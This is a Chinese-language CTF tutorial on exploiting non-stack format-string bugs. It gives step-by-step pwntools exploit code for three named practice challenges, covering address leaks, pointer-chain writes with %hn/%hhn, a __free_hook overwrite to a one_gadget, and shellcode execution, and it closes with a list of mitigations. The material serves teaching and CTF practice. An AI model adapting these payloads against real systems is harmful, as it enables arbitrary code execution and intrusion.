非栈上格式化字符串漏洞利用
字数 1436 2025-08-05 11:39:45
非栈上格式化字符串漏洞利用技术详解
基础知识
格式化字符串用于地址写的关键字符
%hhn: 写入一字节%hn: 写入两字节%n: 32位写四字节,64位写八字节%<number>$type: 直接作用第number个位置的参数%7$x: 读第7个位置参数值%7$n: 对第7个参数位置进行写
栈上格式化字符串漏洞利用常规步骤
- 泄露地址(ELF程序地址和libc地址)
- 将需要改写的GOT表地址直接传到栈上
- 利用
%c%n方法改写system或one_gadget地址 - 劫持程序流程
非栈上格式化字符串的特殊性
对于BSS段或堆上的格式化字符串漏洞:
- 无法直接将想要改写的地址指针放置在栈上
- 难以实现任意地址写
- 利用过程很不稳定,一般最多写2个字节
利用技术详解
技术一:利用ebp链劫持返回地址
适用场景:32位程序,返回地址在栈中可定位
案例:hitcontraining_playfmt
关键步骤:
-
泄露栈地址:
- 通过
%6$p泄露栈上第6个位置的值(通常是ebp) - 计算返回地址在栈中的偏移
- 通过
-
修改返回地址:
- 使用
%Yc%X$n格式:将Y写入栈上第X个位置指针指向的位置 - 通过修改ebp链间接修改返回地址
- 使用
-
写入shellcode:
- 将shellcode写入可执行区域(如.bss段)
- 将返回地址覆盖为shellcode地址
示例代码:
# 泄露栈地址
ru('==\n')
sl('%6$p')
ru('0x')
stack_addr = int(r(8), 16) - 0x28 + 0x1c
# 修改ebp链
pl = b'%' + str(stack_addr & 0xff).encode() + b'c%6$hhn'
pl = pl.ljust(200, b'\x00')
s(pl)
p.recv()
# 修改返回地址
pl = b'%' + str(0xa064).encode() + b'c%10$hn'
pl = pl.ljust(200, b'\x00')
s(pl)
p.recv()
# 写入shellcode
shellcode = asm(shellcraft.sh())
pl = b'quit' + shellcode
s(pl)
技术二:利用跳板修改__libc_start_main+240
适用场景:64位程序,有多次格式化字符串机会
案例:easy_printf
关键步骤:
-
泄露libc地址:
- 通过
%18$p泄露libc地址 - 计算libc基址、one_gadget和free_hook地址
- 通过
-
修改跳板:
- 利用栈上第8和第10个位置作为跳板
- 分步修改__libc_start_main+240为free_hook地址
-
修改free_hook:
- 分步将free_hook修改为one_gadget
- 每次修改2字节,确保稳定性
示例代码:
# 泄露libc地址
sla('What do you want to say?\n', '%18$p')
ru('0x')
libcbase = int(r(12), 16) - 0x5f1168
og = libcbase + 0x4527a
free_hook = libc.sym["__free_hook"] + libcbase
# 修改__libc_start_main+240为free_hook
sla('What do you want to say?\n', '%' + str(num) + 'c%8$hhn')
sla('What do you want to say?\n', '%' + str(free_hook & 0xffff) + 'c%10$hn')
sla('What do you want to say?\n', '%' + str(num + 2) + 'c%8$hhn')
sla('What do you want to say?\n', '%' + str((free_hook // 0x10000) & 0xff) + 'c%10$hhn')
# 修改free_hook为one_gadget
sla('What do you want to say?\n', '%' + str(og & 0xffff) + 'c%29$hn')
sla('What do you want to say?\n', '%' + str(num) + 'c%8$hhn')
sla('What do you want to say?\n', '%' + str(0xaa) + 'c%10$hhn')
sla('What do you want to say?\n', '%' + str((og // 0x10000) & 0xffff) + 'c%29$hn')
技术三:修改循环次数扩大利用窗口
适用场景:格式化字符串机会有限的场景
案例:fooooood
关键步骤:
-
泄露地址:
- 泄露libc地址和栈地址
- 定位循环计数器i的地址
-
修改循环次数:
- 通过格式化字符串漏洞修改i的值
- 将3次循环扩展为更多次
-
劫持返回地址:
- 利用扩展的循环次数
- 分步修改__libc_start_main+240为one_gadget
示例代码:
# 泄露地址
ru('favourite food: ')
sl(b'%9$p-%11$p')
ru("0x")
libc_base = int(r(12), 16) - libc.sym['__libc_start_main'] - 240
ru("0x")
stack = int(r(12), 16)
stack1 = stack - 224
i_addr = stack - (0x7ffe373b3e18 - 0x7ffe373b3d10) + 0x8 + 0xc
# 修改循环次数
sla('favourite food: ', '%' + str(i_addr & 0xffff) + 'c%11$hn')
sla('favourite food: ', '%' + str(6) + 'c%37$hhn')
# 修改返回地址
sla('favourite food: ', '%' + str(stack1 & 0xffff) + 'c%11$hn')
sla('favourite food: ', '%' + str(og & 0xffff) + 'c%37$hn')
sla('favourite food: ', '%' + str((stack1 + 2) & 0xffff) + 'c%11$hn')
sla('favourite food: ', '%' + str((og >> 16) & 0xff) + 'c%37$hhn')
关键技巧总结
-
地址泄露:
- 使用
%x$p格式泄露栈或libc地址 - 计算基址和关键函数地址
- 使用
-
分步写入:
- 对于64位地址,分多次写入(每次2字节)
- 使用
%hn或%hhn进行精确写入
-
跳板利用:
- 找到栈上可控制的指针作为跳板
- 通过修改跳板指针间接修改目标地址
-
远程利用:
- 对于不稳定的偏移,可能需要爆破
- 通常有1/16的成功概率(针对最后4位中的1位)
-
调试技巧:
- 使用gdb附加调试观察栈布局
- 验证每次写入后的内存变化
防护措施
- 使用格式化字符串时始终指定格式字符串
- 启用FORTIFY_SOURCE保护
- 启用RELRO保护(Full RELRO)
- 启用栈保护(Stack Canary)
- 启用地址随机化(ASLR)
通过掌握这些技术,安全研究人员可以更好地理解和利用非栈上的格式化字符串漏洞,同时也能够更好地防御此类漏洞。